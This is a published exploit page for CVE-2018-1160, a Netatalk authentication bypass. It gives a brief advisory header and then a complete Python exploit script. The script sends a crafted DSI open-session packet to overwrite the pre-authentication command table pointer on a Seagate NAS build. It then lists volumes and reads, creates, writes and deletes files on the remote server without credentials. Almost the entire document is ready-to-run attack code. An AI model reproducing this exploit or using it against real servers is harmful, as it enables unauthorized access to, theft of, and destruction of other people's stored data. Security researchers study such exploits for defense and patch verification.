Netatalk Authentication Bypass

2018.12.23
Credit: Jacob Baines
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-787


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # Exploit Title: Netatalk Authentication Bypass # Date: 12/20/2018 # Exploit Author: Jacob Baines # Vendor Homepage: http://netatalk.sourceforge.net/ # Software Link: https://sourceforge.net/projects/netatalk/files/ # Version: Before 3.1.12 # Tested on: Seagate NAS OS (x86_64) # CVE : CVE-2018-1160 # Advisory: https://www.tenable.com/security/research/tra-2018-48 ## import argparse import socket import struct import sys # Known addresses: # This exploit was written against a Netatalk compiled for an # x86_64 Seagate NAS. The addresses below will need to be changed # for a different target. preauth_switch_base = '\x60\xb6\x63\x00\x00\x00\x00\x00' # 0x63b6a0 afp_getsrvrparms = '\x60\xb6\x42\x00\x00\x00\x00\x00' # 0x42b660 afp_openvol = '\xb0\xb8\x42\x00\x00\x00\x00\x00' # 42b8b0 afp_enumerate_ext2 = '\x90\x97\x41\x00\x00\x00\x00\x00' # 419790 afp_openfork = '\xd0\x29\x42\x00\x00\x00\x00\x00' # 4229d0 afp_read_ext = '\x30\x3a\x42\x00\x00\x00\x00\x00' # 423a30 afp_createfile = '\x10\xcf\x41\x00\x00\x00\x00\x00' # 41cf10 afp_write_ext = '\xb0\x3f\x42\x00\x00\x00\x00\x00' # 423fb0 afp_delete = '\x20\x06\x42\x00\x00\x00\x00\x00' # 420620 ## # This is the actual exploit. Overwrites the commands pointer # with the base of the preauth_switch ## def do_exploit(sock): print "[+] Sending exploit to overwrite preauth_switch data." data = '\x00\x04\x00\x01\x00\x00\x00\x00' data += '\x00\x00\x00\x1a\x00\x00\x00\x00' data += '\x01' # attnquant in open sess data += '\x18' # attnquant size data += '\xad\xaa\xaa\xba' # overwrites attn_quantum (on purpose) data += '\xef\xbe\xad\xde' # overwrites datasize data += '\xfe\xca\x1d\xc0' # overwrites server_quantum data += '\xce\xfa\xed\xfe' # overwrites the server id and client id data += preauth_switch_base # overwrite the commands ptr sock.sendall(data) # don't really care about the respone resp = sock.recv(1024) return ## # Sends a request to the server. # # @param socket the socket we are writing on # @param request_id two bytes. requests are tracked through the session # @param address the address that we want to jump to # @param param_string the params that the address will need ## def send_request(socket, request_id, address, param_string): data = '\x00' # flags data += '\x02' # command data += request_id data += '\x00\x00\x00\x00' # data offset data += '\x00\x00\x00\x90' # cmd length <=== always the same data += '\x00\x00\x00\x00' # reserved # ==== below gets copied into dsi->cmd ===== data += '\x11' # use the 25th entry in the pre_auth table. We'll write the function to execute there data += '\x00' # pad if (param_string == False): data += ("\x00" * 134) else: data += param_string data += ("\x00" * (134 - len(param_string))) data += address # we'll jump to this address sock.sendall(data) return ## # Parses the DSI header. If we don't get the expected request id # then we bail out. ## def parse_dsi(payload, expected_req_id): (flags, command, req_id, error_code, length, reserved) = struct.unpack_from('>BBHIII', payload) if command != 8: if flags != 1 or command != 2 or req_id != expected_req_id: print '[-] Bad DSI Header: %u %u %u' % (flags, command, req_id) sys.exit(0) if error_code != 0 and error_code != 4294962287: print '[-] The server responded to with an error code: ' + str(error_code) sys.exit(0) afp_data = payload[16:] if len(afp_data) != length: if command != 8: print '[-] Invalid length in DSI header: ' + str(length) + ' vs. ' + str(len(payload)) sys.exit(0) else: afp_data = afp_data[length:] afp_data = parse_dsi(afp_data, expected_req_id) return afp_data ## # List all the volumes on the remote server ## def list_volumes(sock): print "[+] Listing volumes" send_request(sock, "\x00\x01", afp_getsrvrparms, "") resp = sock.recv(1024) afp_data = parse_dsi(resp, 1) (server_time, volumes) = struct.unpack_from('>IB', afp_data) print "[+] " + str(volumes) + " volumes are available:" afp_data = afp_data[5:] for i in range(volumes): string_length = struct.unpack_from('>h', afp_data) name = afp_data[2 : 2 + string_length[0]] print "\t-> " + name afp_data = afp_data[2 + string_length[0]:] return ## # Open a volume on the remote server ## def open_volume(sock, request, params): send_request(sock, request, afp_openvol, params) resp = sock.recv(1024) afp_data = parse_dsi(resp, 1) (bitmap, vid) = struct.unpack_from('>HH', afp_data) return vid ## # List the contents of a specific volume ## def list_volume_content(sock, name): print "[+] Listing files in volume " + name # open the volume length = struct.pack("b", len(name)) vid = open_volume(sock, "\x00\x01", "\x00\x20" + length + name) print "[+] Volume ID is " + str(vid) # enumerate packed_vid = struct.pack(">h", vid) send_request(sock, "\x00\x02", afp_enumerate_ext2, packed_vid + "\x00\x00\x00\x02\x01\x40\x01\x40\x07\xff\x00\x00\x00\x01\x7f\xff\xff\xff\x02\x00\x00\x00") resp = sock.recv(1024) afp_data = parse_dsi(resp, 2) (f_bitmap, d_bitmap, req_count) = struct.unpack_from('>HHH', afp_data) afp_data = afp_data[6:] print "[+] Files (%u):" % req_count for i in range(req_count): (length, is_dir, pad, something, file_id, name_length) = struct.unpack_from('>HBBHIB', afp_data) name = afp_data[11:11+name_length] if is_dir: print "\t[%u] %s/" % (file_id, name) else: print "\t[%u] %s" % (file_id, name) afp_data = afp_data[length:] ## # Read the contents of a specific file. ## def cat_file(sock, vol_name, file_name): print "[+] Cat file %s in volume %s" % (file_name, vol_name) # open the volume vol_length = struct.pack("b", len(vol_name)) vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name) print "[+] Volume ID is " + str(vid) # open fork packed_vid = struct.pack(">h", vid) file_length = struct.pack("b", len(file_name)) send_request(sock, "\x00\x02", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name) resp = sock.recv(1024) afp_data = parse_dsi(resp, 2) (f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data) print "[+] Fork ID: %s" % (fork_id) # read file packed_fork = struct.pack(">h", fork_id) send_request(sock, "\x00\x03", afp_read_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x03\x00") resp = sock.recv(1024) afp_data = parse_dsi(resp, 3) print "[+] File contents:" print afp_data ## # Create a file on the remote volume ## def write_file(sock, vol_name, file_name, data): print "[+] Writing to %s in volume %s" % (file_name, vol_name) # open the volume vol_length = struct.pack("B", len(vol_name)) vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name) print "[+] Volume ID is " + str(vid) # create the file packed_vid = struct.pack(">H", vid) file_length = struct.pack("B", len(file_name)) send_request(sock, "\x00\x02", afp_createfile, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name); resp = sock.recv(1024) afp_data = parse_dsi(resp, 2) if len(afp_data) != 0: sock.recv(1024) # open fork packed_vid = struct.pack(">H", vid) file_length = struct.pack("B", len(file_name)) send_request(sock, "\x00\x03", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name) resp = sock.recv(1024) afp_data = parse_dsi(resp, 3) (f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data) print "[+] Fork ID: %s" % (fork_id) # write packed_fork = struct.pack(">H", fork_id) data_length = struct.pack(">Q", len(data)) send_request(sock, "\x00\x04", afp_write_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + data_length + data) #resp = sock.recv(1024) sock.send(data + ("\x0a"*(144 - len(data)))) resp = sock.recv(1024) afp_data = parse_dsi(resp, 4) print "[+] Fin" ## # Delete a file on the remote volume ## def delete_file(sock, vol_name, file_name): print "[+] Deleting %s from volume %s" % (file_name, vol_name) # open the volume vol_length = struct.pack("B", len(vol_name)) vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name) print "[+] Volume ID is " + str(vid) # delete the file packed_vid = struct.pack(">H", vid) file_length = struct.pack("B", len(file_name)) send_request(sock, "\x00\x02", afp_delete, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name); resp = sock.recv(1024) afp_data = parse_dsi(resp, 2) print "[+] Fin" ## ## ## Main ## ## top_parser = argparse.ArgumentParser(description='I\'m a little pea. I love the sky and the trees.') top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to") top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="548") top_parser.add_argument('-lv', '--list-volumes', action="store_true", dest="lv", help="List the volumes on the remote target.") top_parser.add_argument('-lvc', '--list-volume-content', action="store_true", dest="lvc", help="List the content of a volume.") top_parser.add_argument('-c', '--cat', action="store_true", dest="cat", help="Dump contents of a file.") top_parser.add_argument('-w', '--write', action="store_true", dest="write", help="Write to a new file.") top_parser.add_argument('-f', '--file', action="store", dest="file", help="The file to operate on") top_parser.add_argument('-v', '--volume', action="store", dest="volume", help="The volume to operate on") top_parser.add_argument('-d', '--data', action="store", dest="data", help="The data to write to the file") top_parser.add_argument('-df', '--delete-file', action="store_true", dest="delete_file", help="Delete a file") args = top_parser.parse_args() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Attempting connection to " + args.ip + ":" + str(args.port) sock.connect((args.ip, args.port)) print "[+] Connected!" do_exploit(sock) if args.lv: list_volumes(sock) elif args.lvc and args.volume != None: list_volume_content(sock, args.volume) elif args.cat and args.file != None and args.volume != None: cat_file(sock, args.volume, args.file) elif args.write and args.volume != None and args.file != None and args.data != None: if len(args.data) > 144: print "This implementation has a max file writing size of 144" sys.exit(0) write_file(sock, args.volume, args.file, args.data) elif args.delete_file and args.volume != None and args.file != None: delete_file(sock, args.volume, args.file) else: print("Bad args") sock.close()


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